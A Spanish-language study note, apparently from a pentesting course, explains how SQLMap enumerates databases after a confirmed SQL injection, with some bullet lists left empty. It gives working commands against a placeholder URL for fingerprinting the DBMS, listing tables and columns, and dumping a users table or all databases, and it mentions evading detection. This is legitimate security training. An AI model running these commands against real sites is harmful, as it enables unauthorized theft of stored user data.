🗄️ Enumeración de Bases de Datos con SQLMap

📌 Resumen

La enumeración es la fase central de un ataque SQLi, donde se extrae (exfiltra) información de la base de datos una vez confirmada la vulnerabilidad.


🎯 ¿Qué es la Enumeración?

La enumeración ocurre después de confirmar que una inyección SQL es explotable.
Su objetivo es buscar y recuperar toda la información disponible del DBMS vulnerable.

Incluye, entre otros:

👉 Es la fase donde realmente “sacas datos”.


📤 Exfiltración de Datos en SQLMap

SQLMap no improvisa consultas:
tiene un conjunto predefinido de queries para cada DBMS soportado.

Estas consultas están definidas internamente en archivos como queries.xml.


🧠 Ejemplo interno (MySQL)

<dbms value="MySQL">
    <banner query="VERSION()"/>
    <current_user query="CURRENT_USER()"/>
    <current_db query="DATABASE()"/>
    <hostname query="@@HOSTNAME"/>
</dbms>
🔍

SQLMap elige automáticamente la consulta correcta según:

  • El DBMS detectado

  • El tipo de SQLi (blind, union, error-based, etc.)


📌 Ejemplos prácticos

Opción SQLMap Consulta ejecutada
--banner VERSION()
--current-user CURRENT_USER()
--current-db DATABASE()

👥 Enumeración de usuarios (Blind vs Inband)

Tipos de enumeración

👉 SQLMap decide automáticamente qué método usar.


🧱 Enumeración Básica de la Base de Datos

📌 Primeros datos a obtener tras explotar una SQLi

La enumeración suele empezar por:


🛠️ Comando típico

sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Pasted image 20251214125504.png
Aparece el banner y el current user user1 y el base de datos actual testdb


🧠 ¿Qué hace SQLMap aquí?


📊 Ejemplo de resultados


⚠️ Importante

El usuario root del DBMS
❌ NO es el root del sistema operativo

Ser DBA solo implica control total de la base de datos, no del sistema.


📋 Enumeración de Tablas

Una vez conocido el nombre de la base de datos (testdb), el siguiente paso es listar sus tablas.


🛠️ Listar tablas

sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

📊 Ejemplo de salida

{0349247C-C8AD-4C1C-A038-214D8EE2D005}.png

👉 Aquí decides qué tabla te interesa atacar.


📦 Dump de una Tabla

Una vez elegida la tabla (users), puedes volcar su contenido.


🛠️ Dump completo

sqlmap -u "http://www.example.com/?id=1"  --dump -T users -D testdb

{F9E2DD28-813F-458E-BFE2-65E7A4D0B955}.png


📊 Resultado

📂 Ruta típica:

~/.local/share/sqlmap/output/...


💡

Puedes cambiar el formato de salida:

  • --dump-format=CSV

  • --dump-format=HTML

  • --dump-format=SQLITE


🎯 Enumeración Selectiva (Columnas / Filas)

Cuando la tabla es grande, no conviene dumpear todo.


Listar columnas

sqlmap -u "http://www.example.com/?id=1"  --columns -T users -D testdb

🔤 Seleccionar columnas

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

👉 Solo extrae las columnas indicadas.


🔢 Limitar filas

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

👉 Útil para:


🔎 Enumeración Condicional (WHERE)

Si conoces una condición SQL, puedes filtrar resultados.


🛠️ Ejemplo con WHERE

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

👉 Solo devuelve filas que cumplan la condición.


🗃️ Enumeración Completa

⚠️ Muy ruidoso

📦 Dump de toda la base de datos

sqlmap -u "http://www.example.com/?id=1" --dump -D testdb

🌍 Dump de TODAS las bases de datos

sqlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs
💡

--exclude-sysdbs evita bases internas como:

  • information_schema

  • mysql

  • performance_schema


🧠 Conclusión

✅ Claves de la Enumeración

  • Es la fase más importante del SQLi

  • SQLMap automatiza consultas específicas por DBMS

  • Se puede:

    • Enumerar poco a poco

    • O volcar todo (si el entorno lo permite)

  • La enumeración inteligente evita ruido y detección